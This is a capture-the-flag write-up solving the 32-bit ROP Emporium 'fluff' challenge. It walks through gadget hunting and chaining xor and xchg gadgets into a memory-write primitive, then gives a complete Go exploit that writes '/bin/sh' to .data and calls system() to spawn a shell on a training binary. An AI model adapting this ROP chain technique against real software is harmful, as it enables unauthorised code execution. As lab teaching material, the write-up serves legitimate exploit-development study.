Introduction
Fluff is the 5th challenge in the ROP Emporium series.
This is the approach taken to solve the 32 bit challenge step by step.
If you would like extra information on Return Oriented Programming (ROP) visit the ROP Emporium Guide.
Challenge description
Sort the useful gadgets from the fluff to construct another write primitive in this challenge.
You’ll have to get creative though, the gadgets aren’t straight forward.
Solution
The solution will be written in Go using the standard library only.
Although pwntools is a quick and easy way to approach this problem, Go can compile
to a statically linked executable for most target systems.
Since the exploit path is known, we can focus on creating a ROP chain to obtain a system shell.
Assumptions
The following software is installed:
Technical
Inspect the binary
Check the properties:
We can see that the NX bit is set. This is the security feature we are defeating.
Identify sections:
The .data section at 0x0804a028 will be the target to write the string “/bin/sh” to pass to the system() library function.
Search for ROP gadgets
In the search field we select “ROP gadgets”, search in “All maps” and press “Search”.
Before we can write anything to memory, we need to identify the gadgets that will be best suited for the task.
Searching through all mov instructions, the following gadget at 0x08048693 moves the contents of the EDX register to the location ECX points to.
0x08048693 mov dword [ecx], edx
0x08048695 pop ebp
0x08048696 pop ebx
0x08048697 xor byte [ecx], bl
0x08048699 ret
With the above gadget, the following will write bytes to the .data section:
- Load the hexadecimal value of .data (0x0804a028) into the ECX register
- Load bytes, that we wish to write, into the EDX register
Note: Padding values should be placed on the stack for the “pop” instructions on all gadgets before the final “ret” instruction
Approach to the defined steps above:
1. Load the hexadecimal value of .data (0x0804a028) into the ECX register
Without a “pop ecx” or a simple “mov ecx, ???”, other instructions must be used to load a value into ECX.
0x08048684 mov edi, 0xdeadbeef
0x08048689 xchg edx, ecx
0x0804868b pop ebp
0x0804868c mov edx, 0xdefaced0
0x08048691 ret
The xchg instruction at 0x08048689 will swap the values of the EDX and ECX registers.
Searching for pop instructions returns very few options.
Searching for xor instructions returns very few options.
There is only one gadget that performs a xor on one register as both arguments.
0x08048670 pop edi
0x08048671 xor edx, edx
0x08048673 pop esi
0x08048674 mov ebp, 0xcafebabe
0x08048679 ret
This is important because the EDX register will be zeroed out after the gadget at 0x08048671, which would allow another value to be copied into EDX.
The gadget at 0x0804867b performs the xor operation on EDX and EBX. If a value is loaded into EBX and xor’d with EDX (if EDX is set to zero), EDX will contain the original value set in EBX before the operation.
0x0804867a pop esi
0x0804867b xor edx, ebx
0x0804867d pop ebp
0x0804867e mov edi, 0xdeadbabe
0x08048683 ret
Searching for pop ebx returns many results.
0x08048713 add esp, 8
0x08048716 pop ebx
0x08048717 ret
The gadget at 0x08048716 will pop the next 4 bytes on the stack into EBX.
Combined, the mentioned gadgets will load a value into ECX with the following sequence:
StepOne:
pop ebx ; load value on stack into EBX
ret
StepTwo:
xor edx, edx ; zero out the EDX register
pop esi
mov ebp, 0xcafebabe
ret
StepThree:
xor edx, ebx ; the xor operation will exchange the contents of EBX into EDX
pop ebp
mov edi, 0xdeadbabe
ret
StepFour:
xchg edx, ecx ; the xchg operation performs an exchange between the EDX and ECX registers respectively
pop ebp
mov edx, 0xdefaced0
ret
2. Load bytes, that we wish to write, into the EDX register
The previous sequence to write to ECX, uses the EDX register to transfer bytes.
Writing to EDX will follow the same sequence without StepFour:
StepOne:
pop ebx ; load value on stack into EBX
ret
StepTwo:
xor edx, edx ; zero out the EDX register
pop esi
mov ebp, 0xcafebabe
ret
StepThree:
xor edx, ebx ; the xor operation will exchange the contents of EBX into EDX
pop ebp
mov edi, 0xdeadbabe
ret
Locate the system() library function
In the executable, the system() library function is already present.
The system() library function is located at 0x08048430.
This is an easy win, because the address of an imported library function is no longer necessary.
With the address of an imported library function, for example printf(), the offset between that function and system() could be calculated.
This allows system() (printf() + offset) to be called directly with arguments placed on the stack for execution.
Write the exploit
Define addresses to use
The addresses of the previously identified gadgets and system() are defined as well as a padding variable.
package main
import (
"bufio"
"fmt"
"io"
"log"
"os"
"os/exec"
"time"
)
// .data section
// Location: 0x0804a028
var dataSection = "\x28\xa0\x04\x08"
var dataSectionAdd4 = "\x2c\xa0\x04\x08"
// pop ebx; ret;
// Location: 0x08048716
var popEBX = "\x16\x87\x04\x08"
// xor edx, edx; pop esi; mov ebp, 0xcafebabe; ret;
// Location: 0x08048671
var xorEDXEDX = "\x71\x86\x04\x08"
// xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
// Location: 0x0804867b
var xorEDXEBX = "\x7b\x86\x04\x08"
// xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret
// Location: 0x08048689
var xchgEDXECX = "\x89\x86\x04\x08"
// mov dword [ecx], edx; pop ebp; pop ebx; xor byte [ecx], bl; ret;
// Location: 0x08048693
var movPtrECXEDX = "\x93\x86\x04\x08"
// system()
// Location: 0x08048430
var system = "\x30\x84\x04\x08"
// 4 byte padding for pop functions
var padding = "\x00\x00\x00\x00"
func main() {
}
Define helper functions
Due to the repeated use of ROP gadgets it is much easier to define functions that will write bytes to the data section.
Load a value into the EDX register
func loadEDX(bytesToLoad string) (ropChain string) {
ropChain = xorEDXEDX
ropChain += padding
ropChain += popEBX
ropChain += bytesToLoad
ropChain += xorEDXEBX
ropChain += padding
return
}
Load a value into the ECX register
func loadECX(bytesToLoad string) (ropChain string) {
ropChain = loadEDX(bytesToLoad)
ropChain += xchgEDXECX
ropChain += padding
return
}
Write EDX to the value ECX points to
func writeECXPtr() (ropChain string) {
ropChain = movPtrECXEDX
ropChain += padding
ropChain += padding
return
}
Putting it all together
package main
import (
"bufio"
"fmt"
"io"
"log"
"os"
"os/exec"
"time"
)
// .data section
// Location: 0x0804a028
var dataSection = "\x28\xa0\x04\x08"
var dataSectionAdd4 = "\x2c\xa0\x04\x08"
// pop ebx; ret;
// Location: 0x08048716
var popEBX = "\x16\x87\x04\x08"
// xor edx, edx; pop esi; mov ebp, 0xcafebabe; ret;
// Location: 0x08048671
var xorEDXEDX = "\x71\x86\x04\x08"
// xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
// Location: 0x0804867b
var xorEDXEBX = "\x7b\x86\x04\x08"
// xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret
// Location: 0x08048689
var xchgEDXECX = "\x89\x86\x04\x08"
// mov dword [ecx], edx; pop ebp; pop ebx; xor byte [ecx], bl; ret;
// Location: 0x08048693
var movPtrECXEDX = "\x93\x86\x04\x08"
// system()
// Location: 0x08048430
var system = "\x30\x84\x04\x08"
// 4 byte padding for pop functions
var padding = "\x00\x00\x00\x00"
func loadEDX(bytesToLoad string) (ropChain string) {
ropChain = xorEDXEDX
ropChain += padding
ropChain += popEBX
ropChain += bytesToLoad
ropChain += xorEDXEBX
ropChain += padding
return
}
func loadECX(bytesToLoad string) (ropChain string) {
ropChain = loadEDX(bytesToLoad)
ropChain += xchgEDXECX
ropChain += padding
return
}
func writeECXPtr() (ropChain string) {
ropChain = movPtrECXEDX
ropChain += padding
ropChain += padding
return
}
func main() {
binary := "./fluff32"
cmd := exec.Command(binary)
stdin, err := cmd.StdinPipe()
if err != nil {
log.Fatal(err)
}
stdout, err := cmd.StdoutPipe()
if err != nil {
log.Fatal(err)
}
stderr, err := cmd.StderrPipe()
if err != nil {
log.Fatal(err)
}
if err = cmd.Start(); err != nil {
log.Fatal(err)
}
// Read the initial output
output := bufio.NewReader(stdout)
_, err = output.ReadBytes('>')
if err != nil {
log.Fatal(err)
}
// Copy output to the terminal
go io.Copy(os.Stdout, stdout)
go io.Copy(os.Stderr, stderr)
// Create ROP chain
var ropChain string
for i := 0; i < 44; i++ {
ropChain += "A"
}
// Load "/bin/sh" into .data
// Due to only being able to load 4 bytes at a time
// Load "/bin"
ropChain += loadECX(dataSection)
ropChain += loadEDX("/bin")
ropChain += writeECXPtr()
// Load "//sh"
ropChain += loadECX(dataSectionAdd4)
ropChain += loadEDX("//sh")
ropChain += writeECXPtr()
// Call system()
ropChain += system
ropChain += padding
ropChain += dataSection
ropChain += "\n"
stdin.Write([]byte(ropChain))
// Interact with shell
for {
input := bufio.NewReader(os.Stdin)
fmt.Printf("$ ")
shellCommand, _, _ := input.ReadLine()
shellCommand = append(shellCommand, '\n')
stdin.Write([]byte(shellCommand))
time.Sleep(time.Millisecond * 6)
}
}
ROP to shell
postrequest$ go run exploit.go
$ id
uid=1000(post) gid=1000(post) groups=1000(post)